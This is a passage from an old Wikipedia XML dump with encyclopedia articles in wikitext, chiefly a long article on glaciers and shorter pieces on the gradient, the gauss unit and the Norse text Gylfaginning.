&lt;math&gt;\xi f&lt;/math&gt; is the function that takes any point ''p'' to the [[directional derivative]] of &lt;math&gt;f&lt;/math&gt; in the direction &lt;math&gt;\xi&lt;/math&gt; evaluated at ''p''. In other words, under some [[coordinate chart]]&lt;math&gt;\varphi&lt;/math&gt;, &lt;math&gt;\xi f (p)&lt;/math&gt; will be:

:&lt;math&gt;\sum \xi_{x_{j}} (\partial_{j}f \mid_{p}) := \sum \xi_{x_{j}} (\frac{\partial}{\partial x_{j} }(f \circ \varphi^{-1}) \mid_{\varphi(p)}).&lt;/math&gt;

The gradient of a function is related to the [[exterior derivative]], since &lt;math&gt;\xi f (p) = df(\xi)&lt;/math&gt;. Indeed, the metric allows one to associate canonically the 1-form ''df'' to the vector field &lt;math&gt;\nabla f&lt;/math&gt;. In '''R'''&lt;sup&gt;''n''&lt;/sup&gt; the flat metric is implicit and the gradient can be identified with the exterior derivative.

==See also==
*[[Nabla symbol|Nabla]]
*[[Divergence]]
*[[Curl]]
*[[Sobel]]
*[[Ion gradient]]
*[[Gradient descent]]
*[[Level set]]
*[[Musical isomorphism]]

[[Category:Vector calculus]]

[[bg:Градиент]]
[[ca:Gradient]]
[[cs:Gradient]]
[[de:Gradient (Mathematik)]]
[[es:Gradiente]]
[[fr:Gradient]]
[[it:Gradiente]]
[[he:גרדיאנט]]
[[nl:Gradiënt (wiskunde)]]
[[ja:勾配]]
[[pl:Gradient]]
[[pt:Gradiente]]
[[ru:Градиент]]
[[sk:Gradient]]
[[sl:Gradient]]
[[sv:Gradient]]
[[zh:梯度]]</text>
    </revision>
  </page>
  <page>
    <title>Gauss (unit)</title>
    <id>12462</id>
    <revision>
      <id>39823827</id>
      <timestamp>2006-02-16T02:48:24Z</timestamp>
      <contributor>
        <username>Michael Hardy</username>
        <id>4626</id>
      </contributor>
      <comment>A stubby little hyphen used as a minus sign in a superscript is hard to see.</comment>
      <text xml:space="preserve">:''This article refers to the unit '''Gauss'''; for other meanings see [[Gauss (disambiguation)]].''
The '''gauss''', abbreviated as G, is the [[cgs]] [[unit]] of [[magnetic flux density]] or [[magnetic induction]] ('''B'''), named after the German mathematician and physicist [[Carl Friedrich Gauss]]. One gauss is defined as one [[maxwell]] per square [[centimetre]].

For many years prior to [[1932]] the term gauss was used to designate that unit of [[magnetic field]] intensity which is now known as the [[oersted]]. This change in terminology was introduced to distinguish between magnetic induction and magnetic intensity as physical magnitudes.

The [[SI]] unit of [[magnetic flux density]] is the [[tesla (unit)|tesla]]. One gauss is equal to 10&lt;sup&gt;&amp;minus;4&lt;/sup&gt; tesla.
:1 T = 10 000 G 
:1 G = 0.1 mT

[[Category:CGS units]]
[[Category:Units of magnetic flux density]]

[[de:Gauß (Einheit)]]
[[es:Gauss]]
[[fr:Gauss (unité)]]
[[ko:가우스 (단위)]]
[[lb:Gauß (Moosseenheet)]]
[[nl:Gauss]]
[[ja:ガウス]]
[[pl:Gaus]]
[[pt:Gauss]]
[[ru:Гаусс (единица измерения)]]
[[sl:Gauss (enota)]]
[[sv:Gauss]]
[[th:เกาส์]]
[[tr:Gauss (birim)]]</text>
    </revision>
  </page>
  <page>
    <title>Glacier</title>
    <id>12463</id>
    <revision>
      <id>41748544</id>
      <timestamp>2006-03-01T13:35:09Z</timestamp>
      <contributor>
        <username>Marcoscramer</username>
        <id>66957</id>
      </contributor>
      <text xml:space="preserve">{{dablink|This article is about the geographical formation. For the professional wrestler, see [[Ray Lloyd]].}}
[[Image:Aletschgletscher Panorama.jpg|thumb|right|225px|Aletsch glacier, Switzerland]]
A '''glacier''' is a large, long-lasting [[river]] of [[ice]] that is formed on land and moves in response to [[gravity]]. A glacier is formed by multi-year ice [[Accretion (science)|accretion]] in [[slope|sloping]] [[topography|terrain]]. Glacier ice is the largest reservoir of [[freshwater]] on [[Earth]], and second only to [[ocean]]s as the largest reservoir of total water. Glaciers can be found on every [[continent]] except [[Australia]].

Geologic features associated with glaciers include end, lateral, ground and medial [[moraine]]s that form from glacially transported rocks and debris; [[glaciated valley|U-shaped valley]]s and [[corrie]]s ([[cirque (landform)|cirques]])  at their heads, and the ''glacier fringe'', which is the area where the glacier has recently melted into water.

==Types of glaciers==
[[Image:Glacier mouth.jpg|thumb|200px|right|Mouth of the glacier Schlatenkees near Innergschlöß, [[Austria]].]]
There are two main types of glaciers: '''alpine glaciers''', which are found in mountain terrains, and '''continental glaciers''', which are associated with [[ice age]]s and can cover large areas of [[continent]]s. Most of the concepts in this article apply equally to alpine glaciers and continental glaciers.

A '''temperate glacier''' is at the melting point throughout the year with internal and basal water.  '''Polar glaciers''' are always below the freezing point with most mass loss due to sublimation.  &quot;Poly-thermal&quot; or &quot;sub-polar&quot; glaciers have some internal drainage, but little to no basal melt.  Thermal classifications vary so glacier zones are often used to identify melt conditions.  The dry snow zone is a region where no melt occurs, even in the summer.  The percolation zone is an area with some surface melt, often this zone is marked by refrozen ice lenses, glands, and layers.  The wet snow zone is the region where all of the snow deposited since the end of the previous summer has been raised to 0 degrees.  The superimposed ice zone is a zone of such high melt and refreeze that ice lenses have merged to a continous mass.   

The smallest alpine glaciers form in [[mountain]] valleys and are referred to as '''valley glaciers'''. Larger ice layers can cover an entire mountain, mountain chain or even a [[volcano]]; this type is known as an [[ice cap]]. Ice caps feed '''outlet glaciers''', tongues of ice that extend into valleys below, far from the margins of those larger ice masses. Outlet glaciers are formed by the movement of ice from a [[polar ice cap]], or an ice cap from mountainous regions, to the sea.

The largest glaciers are [[ice sheet|continental ice sheet]]s, enormous masses of ice that are not affected by the landscape and extend over the entire surface, except on the margins, where they are thinnest. [[Antarctica]] and [[Greenland]] are the only places where continental ice sheets currently exist. These regions contain vast quantities of fresh water. The volume of ice is so large that if the Greenland ice sheet melted, it would cause sea levels to rise some six meters all around the world. If the Antarctic ice sheet melted, sea levels would rise up to 65 meters.

'''Plateau glaciers''' resemble ice sheets, but on a smaller scale. They cover some plateaus and high-altitude areas. This type of glacier appears in many places, especially in [[Iceland]] and some of the large islands in the [[Arctic Ocean]], and throughout the northern [[Pacific Cordillera]] from southern [[British Columbia]] to western [[Alaska]].

'''Tidewater glaciers''' are glaciers that flow into the sea. As the ice reaches the sea pieces break off, or ''calve'', forming [[iceberg]]s. Most tidewater glaciers calve above sea level, which often results in a tremendous splash as the iceberg strikes the water. If the water is deep, glaciers can calve underwater, causing the iceberg to suddenly explode up out of the water. The [[Hubbard Glacier]] is the longest tidewater glacier in [[Alaska]] and has a calving face over ten kilometers long.  [[Yakutat Bay]] and [[Glacier Bay National Park|Glacier Bay]] are both popular with cruise ship passengers because of the huge glaciers descending to them.

'''Piedmont glaciers''' occupy broad lowlands at the base of steep mountains, and form when one or more alpine glaciers surge from the confining walls of mountain valleys. The size of piedmont glaciers varies greatly: among the largest is the [[Malaspina Glacier]], which extends along the length of the southern coast of [[Alaska]]. It covers more than 5,000 km&amp;sup2; of the coastal plain at the foot of the [[Saint Elias Mountains|Saint Elias range]].  And it is only a part of the much bigger Kluane Icecap, which spans the [[Mount St. Elias]] and [[Chugach Mountains|Chugach]] groups of mountain ranges all the way from the [[Malaspina Glacier]] to the [[Copper River, Alaska|Copper River]] and well into the southwestern [[Yukon]], as well as southeast from the Malaspina towards the [[Iskut River]] in [[British Columbia]]. 

The highest alpine glacier in the world is the [[Siachen Glacier]], which is also a zone of political conflict between India and Pakistan.

==Formation of glaciers==
[[Image:Glacial ice formation LMB.png|thumb|right|175px|Formation of glacial ice]]

The snow which forms glaciers is subject to repeated freezing and thawing, which changes it into a form of granular ice called [[névé]]. Under the pressure of the layers of ice and snow above it, this granular ice fuses into denser [[firn]]. Over a period of years, layers of firn undergo further compaction and become glacial ice. Glacial ice contains minute air bubbles as a result, giving it a distinctive blue tint due to [[Rayleigh scattering]].

The lower layers of glacial ice flow and deform plastically under the pressure, allowing the glacier as a whole to move slowly like a viscous fluid. Glaciers do not need a slope to flow, being driven by the continuing accumulation of new snow at their source. The upper layers of glaciers are more brittle, and often form deep cracks known as [[crevasse]]s or [[Bergshrund]]s as they flex. These crevasses make unprotected travel over glaciers extremely hazardous. Glacial meltwaters flow throughout and underneath glaciers, carving channels in the ice similar to [[cave]]s in rock and also helping to lubricate the glacier's movement.

==Anatomy of a glacier==

[[Image:glacier.swiss.500pix.jpg|thumb|right|220px|The Upper Grindelwald Glacier and the Schreckhorn, showing accumulation and ablation zones]]

The upper part of a glacier that receives most of the snowfall is called the ''accumulation zone''. As a rule of thumb, the accumulation zone accounts for 60-70% of the glacier's surface area. The depth of ice in the accumulation zone exerts a downward force sufficient to cause deep [[erosion]] of the rock in this area. After the glacier is gone, this often leaves a bowl or amphitheater-shaped depression called a [[cirque (landform)|cirque]].

On the opposite end of the glacier, at its foot or terminal, is the ''deposition'' or ''ablation zone'', where more ice is lost through melting than gained from snowfall and [[sediment]] is deposited. The place where the glacier thins to nothing is called the [[ice front]].

The altitude where the two zones meet is called the ''equilibrium line''. At this altitude, the amount of new snow gained by accumulation is equal to the amount of ice lost through ablation. The downward erosive forces of the accumulation zone and the tendency of the ablation zone to deposit sediment also cancel each other out. Erosive lateral forces are not canceled; therefore, glaciers turn v-shaped river-carved valleys into u-shaped glacial valleys.

The &quot;health&quot; of a glacier is defined by the area of the accumulation zone compared to the ablation zone. Healthy glaciers have large accumulation zones. Several non-linear relationships define the relation between accumulation and ablation.

In the aftermath of the [[Little Ice Age]], about 1850, the glaciers of the Earth have retreated substantially. [[Glacier retreat]] has accelerated since about 1980 and is correlated with global warming. [http://www.grida.no/climate/ipcc_tar/wg1/064.htm]

Even in very cold climates, there may be unglaciated areas, which receive too little [[precipitation (meteorology)|precipitation]] to form permanent ice. This was the case in most of [[Siberia]], central and northern [[Alaska]] and all of [[Manchuria]] during glacial periods of the [[Quaternary]], and occurs today in Antarctica's [[Dry Valleys]] and in that part of the [[Andes]] between 19&amp;deg;S and 27&amp;deg;S above the hyperarid [[Atacama Desert]] where, although the mountains reach 6700 metres above sea level, the cold [[Humboldt Current]] completely suppresses precipitation.

==Glacial motion==
[[Image:Argentina-Perito_Moreno-Glacier.jpg|thumb|350px|right|Perito-Moreno Glacier, showing cracks in brittle upper layer]]
Ice behaves like an easily breaking solid until its thickness exceeds about 50 meters (160 ft).  Below that depth the increased pressure causes ice to become [[Plasticity (physics)|plastic]] and flow.  The glacial ice is made up of layers of molecules stacked on top of each other, with relatively weak bonds between the layers. When the stress exceeds the inter-layer binding strength, the layers start to slide past each other.

Another type of movement is basal gliding. In this process, the whole glacier moves over the terrain on which it sits, lubricated by meltwater. As the pressure increases toward the base of the glacier, the melting point of water decreases, and the ice melts. Friction between ice and rock and [[geothermal (geology)|geothermal]] heat from the Earth's interior also contribute to thawing. This type of movement is dominant in temperate glaciers. 

The top 50 meters of the glacier are more rigid. In this section, known as the ''fracture zone'', there are no layers which slide past each other; instead the ice mostly moves as a single unit. Ice in the fracture zone moves over the top of the lower section. When the glacier moves through irregular terrain, cracks form in the fracture zone. These cracks can be up to 50 meters deep, at which point they meet the plastic flow underneath that seals them.

===Speed of glacial movement===
The speed of glacial displacement is partly determined by [[friction]]. Friction makes the ice at the bottom of the glacier move slower than the upper portion. In alpine glaciers, friction is also generated at the valley's side walls, which slows the edges relative to the center. This has been confirmed by experiments in the [[19th century]], in which stakes were planted in a line across an alpine glacier, and as time passed, those in the center moved further.

Mean speeds vary; some have speeds so slow that trees can establish themselves among the deposited scourings. In other cases they can move as fast as many meters per day, as is the case of [[Byrd Glacier]], an overflowing glacier in [[Antarctica]] which moves 750-800 meters per year (some 2 meters (6 ft) per day), according to studies using [[satellite]]s.

Many glaciers have periods of very rapid advancement called [[Surge (glacier)|surges]].[http://www.geog.leeds.ac.uk/research/glaciology/maths.htm] These glaciers exhibit normal movement until suddenly they accelerate, then return to their previous state. During these surges, the glacier may reach velocities up to 1000 times greater than normal. &lt;!-- Why does this happen? --&gt;

===Moraines===
Glacial moraines are formed by the deposition of material from a glacier and are exposed after the glacier has retreated. These features usually appear as linear mounds of [[till]], a poorly-sorted mixture of rock, gravel and boulders within a matrix of a fine powdery material. Terminal or end moraines are formed at the foot or terminal end of a glacier, lateral moraines are formed on the sides of the glacier, and medial moraines are formed down the center. Less obvious is the ground moraine, also called ''glacial drift'', which often blankets the surface underneath much of the glacier downslope from the equilibrium line. Glacial meltwaters contain [[rock flour]], an extremely fine powder ground from the underlying rock by the glacier's movement. Other features formed by glacial deposition include long snake-like ridges formed by streambeds under glaciers, known as ''[[esker]]s'', and distinctive streamlined hills, known as ''[[drumlin]]s''.

''Stoss-and-lee'' erosional features are formed by glaciers and show the direction of their movement. Long linear rock scratches (that follow the glacier's direction of movement) are called ''[[glacial striations]]'', and divots in the rock are called ''[[chatter mark]]s''. Both of these features are left on the surfaces of stationary rock that were once under a glacier and were formed when loose rocks and boulders in the ice were transported over the rock surface. Transport of fine-grained material within a glacier can smooth or polish the surface of rocks, leading to [[glacial polish]]. [[Glacial erratic]]s are rounded [[boulder|boulders]] that were left by a melting glacier and are often seen perched precariously on exposed rock faces after glacial retreat.

The most common name for glacial sediment is ''[[moraine]]''. The term is of [[French language|French]] origin, and it was coined by peasants to describe alluvial embankments and rims found near the margins of glaciers in the French [[Alps]]. Currently, the term is used more broadly, and is applied to a series of formations, all of which are composed of [[till]].

=== Drumlins ===
[[image:Drumlins_LMB.png|frame|right|A drumlin field forms after a glacier has modified the landscape. The tear-drop-shaped formations denote the direction of the ice flow.]]
[[Drumlin]]s are asymmetrical hills with aerodynamic profiles made mainly of [[till]]. Their heights vary from 15 to 50 meters and they can reach a kilometer in length. The tilted side of the hill looks toward the direction from which the ice advanced (''stoss''), while the longer slope follows the ice's direction of movement (''lee'').

Drumlins are found in groups called ''[[drumlin field]]s'' or ''drumlin camps''. An example of these fields is found east of [[Rochester, New York]], and it is estimated that it contains about 10,000 drumlins.

Although the process that forms drumlins is not fully understood, it can be inferred from their shape that they are products of the plastic deformation zone of ancient glaciers. It is believed that many drumlins were formed when glaciers advanced over and altered the deposits of earlier glaciers.

==Glacial erosion==

Rocks and sediments are added to glaciers through various processes.  Glaciers erode the terrain principally through two methods: '''[[scouring]]''' and '''[[plucking]]'''.

[[image: Plucking_LMB.png|right|frame|Diagram of glacial plucking and abrasion]]
As the glacier flows over the bedrock's fractured surface, it softens and lifts blocks of rock that are brought into the ice. This process is known as plucking, and it is produced when subglacial water penetrates the fractures and the subsequent freezing  expansion separates them from the bedrock. When the water expands, it acts as a lever that loosens the rock by lifting it. This way, [[sediment]]s of all sizes become part of the glacier's load.

Abrasion occurs when the ice and the load of rock fragments slide over the bedrock and function as sandpaper that smoothens and polishes the surface situated below. This pulverized rock is called [[rock flour]]. This flour is formed by rock grains of a size between 0.002 and 0.00625 [[millimeter|mm]]. Sometimes the amount of rock flour produced is so high that currents of meltwaters acquire a grayish color.

Another of the visible characteristics of glacial erosion are [[glacial striations]]. These are produced when the bottom's ice contains large chunks of rock that mark trenches in the bedrock. By [[cartography|mapping]] the direction of the flutes the direction of the glacier's movement can be determined.

The velocity of a glacier's erosion is variable. The differential erosion undertaken by the ice is controlled by four important factors:
* Velocity of glacial movement
* Thickness of the ice
* Shape, abundance and hardness of rock fragments contained in the ice at the bottom of the glacier
* Relative ease of erosion of the surface under the glacier.

Material that becomes incorporated in a glacier are typically carried as far as the zone of ablation before being deposited.  Glacial deposits are of two distinct types:
* Glacial till: material directly deposited from glacial ice. Till includes a mixture of undifferentiated material ranging from clay size to boulders, the usual composition of a moraine.
* Fluvial and outwash: sediments deposited by water.  These deposits are stratified through various processes, such as boulders being separated from finer particles.

The larger pieces of rock which are encrusted in till or deposited on the surface are called ''[[glacial erratics]]''.  They may range in size from pebbles to boulders, but as they may be moved great distances they may be of drastically different type than the material upon which they are found.  Patterns of glacial erratics provide clues of past glacial motions.

===Glacial valleys===
[[Image:Glacial Valley MtHoodWilderness.jpg|thumb|right|240px|A glaciated valley in the [[Mount Hood Wilderness]] showing the characteristic U-shape and flat bottom.]]
[[Image:Glacial lakes, Bhutan.jpg|thumb|right|240px|This image shows the termini of the glaciers in the [[Bhutan]]-[[Himalaya]]. Glacial lakes have been rapidly forming on the surface of the debris-covered glaciers in this region during the last few decades.]]

Before glaciation, mountain valleys have a characteristic &quot;V&quot; shape, produced by downward [[erosion]] by water. However, during glaciation, these valleys widen and deepen, which creates a &quot;U&quot;-shaped [[glacial valley]]. Besides the deepening and widening of the valley, the glacier also smoothes the valley due to erosion. This way, it eliminates the spurs of earth that extend across the valley. Because of this interaction, triangular cliffs called [[truncated spurs]] are formed.

Many glaciers deepen their valleys more than their smaller [[tributary|tributaries]]. Therefore, when the glaciers stop receding, the valleys of the tributary glaciers remain above the main glacier's depression, and these are called [[hanging valley]].

In parts of the soil that were affected by abrasion and plucking, the depressions left can be filled by [[paternoster lake]]s, from the [[Latin]] for &quot;Our Father&quot;, referring to a station of the [[rosary]].

At the head of a glacier is the [[corrie]], which has a bowl shape with escarped walls on three sides, but open on the side that descends into the valley. In the corrie, an accumulation of ice is formed. These begin as irregularities on the side of the mountain, which are later augmented in size by the coining of the ice. After the glacier melts, these corries are usually occupied by small mountain lakes called [[tarn (lake)|tarns]].

There may be two glaciers separated by a diving ridge.  This, located between the corries, is eroded to create an [[Arete (landform)|arête]]. This structure may result in a [[mountain pass]].

Glaciers are also responsible for the creation of [[fjord]]s (deep coves or inlets) and [[escarpment]]s that are found at high latitudes. With depths that can exceed 1,000 metres caused by the postglacial elevation of [[sea level]] and therefore, as it changed the glaciers changed their level of erosion.

[[image:Glacial_landscape_LMB.png|right|frame|Features of a glacial landscape]]

=== Arêtes and horns ===
An [[Arete (landform)|arête]] is a narrow crest with a sharp edge. Pointed pyramidal peaks are called [[Glacial horn|horn]]s.  

Both features may have the same process behind their formation: the enlargement of cirques from glacial plucking and the action of the ice.  Horns are formed by cirques that encircle a single mountain.

Arêtes emerge in a similar manner; the only difference is that the cirques are not located in a circle, but rather on opposite sides along a divide.  Arêtes can also be produced by the collision of two parallel glaciers.  In this case, the glacial tongues cut the divides down to size through erosion, and polish the adjacent valleys.

===Sheepback rock===

Some rock formations in the path of a glacier are sculpted into small hills with a shape known as '''roche moutonnée''' or ''sheepback''.   An elongated, rounded, asymmetrical, bedrock knob produced can be produced by glacier erosion. It has a gentle slope on its up-glacier side and a steep to vertical face on the down-glacier side.  The glacier abrades the smooth slope that it flows along, while rock is torn loose from the downstream side and carried away in ice.  Rock on this side is fractured by combinations of forces due to water, ice in rock cracks, and structural stresses.

===Alluvial stratification===

The water that rises from the [[zone of ablation]] moves away from the glacier and carries with it fine eroded sediments. As the speed of the water decreases, so does its capacity to carry objects in suspension. The water then gradually deposits the sediment as it runs, creating an [[alluvial plain]]. When this phenomenon occurs in a valley, it is called a ''valley train''.

[[image: Receding glacier landscape LMB.png|right|frame|Landscape produced by a receding glacier]]

Alluvial plains and valley trains are usually accompanied by basins known as [[kettle (geology)|kettles]]. Glacial depressions are also produced in till deposits. These depressions are formed when large ice blocks are stuck in the glacial alluvium and after melting, they leave holes in the [[sediment]].

Generally, the diameter of these depressions does not exceed 2 km, except in [[Minnesota]], where some depressions reach up to 50 km in diameter, with depths varying between 10 and 50 meters.

===Deposits in contact with ice===
When a glacier reduces in size to a critical point, its flow stops, and the ice becomes stationary. Meanwhile, meltwater flows over, within, and beneath the ice leave [[stratification|stratified]] alluvial deposits. Because of this, as the ice melts, it leaves stratified deposits in the form of columns, terraces and clusters. These types of deposits are known as ''deposits in contact with ice''.

When those deposits take the form of columns of tipped sides or mounds, which are called ''[[kame]]s''. Some ''kames'' form when meltwater deposits sediments through openings in the interior of the ice. In other cases, they are just the result of fans or [[river delta|deltas]] towards the exterior of the ice produced by meltwater.

When the glacial ice occupies a valley it can form terraces or ''kame'' along the sides of the valley.

A third type of deposit formed in contact with the ice is characterized by long, narrow sinuous crests composed fundamentally of [[sand]] and [[gravel]] deposite by streams of meltwater flowing within, beneath or on the glacier ice. After the ice has melted these linear ridges or [[esker]]s remain as landscape features. Some of these crests have heights exceeding 100 meters and their lengths surpass 100 km.

===Loess deposits===
Very fine glacial sediments or [[rock flour]] is often picked up by wind blowing over the bare surface and may be deposited great distances from the original fluvial deposition site. These [[eolian]] [[loess]] deposits may be very deep, even hundreds of meters, as in areas of China and the midwestern United States.

==Isostatic rebound==
[[image: Glacier_weight_effects_LMB.png|right|frame|Isostatic pressure by a glacier on the Earth's crust]]
This rise of a part of the [[Crust (geology)|crust]] is due to an [[isostacy|isostatic adjustment]]. A large mass, such as a glacier, depresses the Earth's crust. After the glacier melts, the crust begins to rise to its original position. This is [[post-glacial rebound]] and is currently occurring in measurable amounts in [[Scandinavia]] and the [[Great Lakes]] region of the United States.

==Ice ages==
:''Main article: [[Ice age]]''.
===Ice age divisions===
A quadruple division of the [[Quaternary]] glacial period has been established for [[North America]] and [[Europe]]. These divisions are based principally on the study of glacial deposits. In North America, each of these four stages was named for the state in which the deposits of these stages were well exposed. In order of appearance, they are the following:  ''Nebraskan, Kansan, Illinoisan, and Wisconsinan.'' This classification was refined thanks to the detailed study of the sediments of the [[ocean floor]]. Because the sediments of the ocean floor, in contrast to that of the Earth's surface, are less affected by [[stratigraphic]] discontinuities, they are useful to determine the [[climate|climatic]] cycles of the planet.

In this matter, geologists have come to identify over twenty divisions, each of them lasting approximately 100,000 years. All these cycles fall within the Quaternary glacial period.

During its peak, the ice left its mark over almost 30% of Earth's surface, covering approximately 10 million km&lt;sup&gt;2&lt;/sup&gt; in North America, 5 million km&lt;sup&gt;2&lt;/sup&gt; in Europe and 4 million km&amp;sup2; in [[Siberia]]. The glacial ice in the Northern hemisphere was double that found in the Southern hemisphere. This is because southern polar ice cannot advance beyond the [[Antarctica|Antarctic]] landmass. It is now believed that the most recent glacial period began between two and three million years ago, in the Pleistocene era.

===Causes of ice ages===
Little is known about the causes of glaciations.

Generalized glaciations have been rare in the history of Earth. However, the [[Ice Age]] of the [[Pleistocene]] was not the only glaciative event, since [[tillite]] deposits have been identified. Tillite is a sedimentary rock formed when glacial till is lithified.

These deposits found in strata of differing age present similar characteristics as fragments of fluted rock, and some are superposed over bedrock surfaces of channeled and polished rock or associated with [[sandstone]] and [[conglomerate (geology)|conglomerates]] that have features of alluvial plain deposits.

Two [[Precambrian]] glacial episodes have been identified, the first approximately 2 billion years ago, and the second ([[Snowball Earth]]) about 600 million years. Also, a well documented record of glaciation exists in rocks of the late [[Paleozoic]] (of 250 million years of age).

Although there are several scientific hypotheses about the determining factors of glaciations, the two most important ideas are [[plate tectonics]] and variations in Earth's orbit ([[Milankovitch cycles]]).

===Plate tectonics===
Because glaciers can form only on dry land, [[plate tectonics]] suggest that the evidence of previous glaciations is currently present in tropical [[latitude]]s due to the [[continental drift|drift]] of [[tectonic plates]] from tropical latitudes to circumpolar regions. Evidence of glacial structures in [[South America]], [[Africa]], [[Australia]], and [[India]] support this idea, because it is known that they experienced a glacial period near the end of the [[Paleozoic]] Era, some 250 million years ago.

The idea that the evidence of middle-latitude glaciations is closely related to the displacement of tectonic plates was confirmed by the absence of glacial traces in the same period for the higher latitudes of [[North America]] and [[Eurasia]], which indicates that their locations were very different than today.

Climatic changes are also related to the positions of the continents, which has made them vary in conjunction with the displacement of plates.  That also affected ocean current patterns, which caused changes in heat transmission and humidity. Since continents drift very slowly (about 2 cm per year), similar changes occur in periods of millions of years.

A study of marine sediment that contained climatically sensitive [[microorganism]]s until about half a million years ago were compared with studies of the [[geometry]] of Earth's orbit, and the result was clear: climatic changes are closely related to periods of [[obliquity]], [[precession]], and [[eccentricity]] of the Earth's orbit.

In general it can be affirmed that plate tectonics is only applicable to very long periods of time, while Milankovitch's proposal, backed up by the work of others, adjusts to the periodic alterations of glacial periods of the [[Pleistocene]]. These proposals are subject to uncertainty and there may be other factors involved with glaciers.

== See also ==
* [[Glacier retreat]]
* [[Global warming]]
* [[Effects of global warming]]
* [[Glacial motion]]
* [[List of glaciers]]
* [[Icefall]]
* [[Ice cap]]
* [[Ice field]]
* [[Ice sheet]]
* [[Quaternary period]]

== References ==
*This article draws heavily on the [[:es:Glaciar|corresponding article]] in the Spanish-language Wikipedia, which was accessed in the version of [[July 24]], [[2005]].
* Michael Hambrey and Jürg Alean, ''Glaciers'', 2nd ed. (Cambridge University Press, 2004, ISBN 0-521-82808-2) An excellent less-technical treatment of all aspects, with superb photographs and firsthand accounts of glaciologists' experiences. All images of this book can be found online (see Weblinks: Glaciers-online)
* Douglas I. Benn and David J. A. Evans, ''Glaciers and Glaciation'' (Arnold, 1999)
* M. R. Bennett and N. F. Glasser, ''Glacial Geology: Ice Sheets and Landforms'' (John Wiley &amp; Sons, 1996)
* Michael Hambrey, ''Glacial Environments'' (University of British Columbia Press, UCL Press, 1994) An undergraduate-level textbook.
* Peter G Knight, ''Glaciers'' (Cheltenham; Nelson Thornes, 1999). ISBN 0-7487-4000-7 A textbook for undergraduates avoiding mathematical complexities
* Robert Walley, ''Introduction to Physical Geography'' (Wm. C. Brown Publishers, 1992) A textbook devoted to explaining the geography of our planet.
* W. S. B. Paterson, ''Physics of Glaciers'', 3rd ed. (Pergamon Press, 1994) A comprehensive reference on the physical principles underlying formation and behavior.

== External links ==
{{commons|Glacier}}
*[http://www.glaciers-online.net/ Swisseduc - Glaciers online]
*[http://www.nsidc.org/glaciers/ National Snow and Ice Data Center - Glaciers]
*[http://www.glaciers.er.usgs.gov/ USGS Glacier Studies Project]
*[http://vulcan.wr.usgs.gov/Glossary/Glaciers/description_glaciers_hazards.html Glaciers and Glacial Hazards - USGS]
&lt;!--*[http://www.geography-site.co.uk/pages/physical.html#Glaciers The Geography Site: Glaciers]--&gt;
*[http://www.sciencedaily.com/releases/2003/08/030814071654.htm 2003-08-15 Scientists Rewrite Laws Of Glacial Erosion]
*[http://www.nps.gov/kefj#Kenai Fjords National Park, Alaska]
*[http://www.pbs.org/wgbh/nova/sciencenow/3210/03.html NOVA scienceNOW] - A 7 minute video of the [[NOVA]] broadcast that aired on [[PBS]], [[July 26]], [[2005]]. Hosted by [[Robert Krulwich]], the video is about the world's fastest glacier and why it is moving too fast.


[[Category:Glaciology]]
[[Category:Bodies of ice]]
[[Category:Glaciers|*]]

[[ca:glacera]]
[[cs:Ledovec]]
[[da:Gletsjer]]
[[de:Gletscher]]
[[es:glaciar]]
[[eo:Glaciejo]]
[[he:&amp;#1511;&amp;#1512;&amp;#1495;&amp;#1493;&amp;#1503;]]
[[fi:Jäätikkö]]
[[fr:Glacier]]
[[id:Gletser]]
[[io:Glaciero]]
[[ja:&amp;#27703;&amp;#27827;]]
[[nl:Gletsjer]]
[[nn:isbre]]
[[no:Isbre]]
[[pl:Lodowiec]]
[[pt:Geleira]]
[[sv:Glaciär]]
[[sl:Ledenik]]
[[zh:&amp;#20912;&amp;#24029;]]</text>
    </revision>
  </page>
  <page>
    <title>Gylfaginning</title>
    <id>12464</id>
    <revision>
      <id>41891948</id>
      <timestamp>2006-03-02T12:06:40Z</timestamp>
      <contributor>
        <ip>212.144.221.50</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:Manuscript Gylfi.jpg|right|250px|thumb|Gylfi is tricked]]
'''Gylfaginning''', or '''The tricking of [[Gylfi]]''', is the first part of the [[Christianity|Christian]] poet and historian [[Snorri Sturluson]]'s [[Prose Edda]]. The Gylfaginning deals with the creation and destruction of the world of the Norse gods, and many other aspects of [[Norse mythology]]. The second part is called the [[Skáldskaparmál]] and the third [[Háttatal]]. Together, the three works are known as the 'Younger Edda' (or &quot;Prose Edda&quot;), so-called to distinguish it from the [[Elder Edda]] (or &quot;Poetic Edda&quot;).

The Gylfaginning deals with Gylfi's encounters with the [[Æsir]], and his disguised journey as Gangleri to [[Asgard]]. There Gylfi is ostensibly exposed to the glories of Asgard and its inhabitants.  The whole of this narrative is however remarkably metaphysical since the Æsir, who according to Snorri, have foreknowledge, trick him into a belief in the arcane complexities of the Norse pantheon, ultimately leaving him standing on empty ground. It can be argued that Snorri used this narrative device as a means of being able to safely document a vanishing and largely oral tradition within a Christian context. 

{{Euro-myth-stub}}

==External links==
*[http://www.hi.is/~eybjorn/gg/index.html Text of all original manuscripts]
*[http://www.snerpa.is/net/snorri/gylf.htm The text with modern Icelandic spelling]
*[http://www.sacred-texts.com/neu/pre/pre04.htm English translation]
*[http://www.cybersamurai.net/Mythology/nordic_gods/LegendsSagas/Edda/ProseEdda/ContentsEnglish.htm#gylfe CyberSamurai Encyclopedia of Norse Mythology: Prose Edda - Gylfaginning (English)]
*[http://www.cybersamurai.net/Mythology/nordic_gods/LegendsSagas/Edda/ProseEdda/ContentsIcelandic.htm#gylfe CyberSamurai Encyclopedia of Norse Mythology: Prose Edda - Gylfaginning (Old Norse)]

[[Category:Medieval literature]]
[[Category:Sources of Norse mythology]]
[[Category:Nordic folklore]]

{{NorseMythology}}

[[da:Gylfaginning]]
[[de:Gylfaginning]]
[[nn:Gylfaginning]]
[[sv:Gylfaginning]]</text>
    </revision>
  </page>
  <page>
    <title>Gleipnr</title>
    <id>12465</id>
    <revision>
      <id>15910151</id>
      <timestamp>2004-08-22T07:59:12Z</timestamp>
      <contributor>
        <username>Glenn</username>
        <id>9232</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Fenrisulfr]]</comment>
      <text xml:space="preserve">#REDIRECT [[Fenrisulfr]]</text>
    </revision>
  </page>
  <page>
    <title>Glorious Revolution</title>
    <id>12466</id>
    <revision>
      <id>42118045</id>
      <timestamp>2006-03-03T23:06:53Z</timestamp>
      <contributor>
        <username>Meaghangray</username>
        <id>1008200</id>
      </contributor>
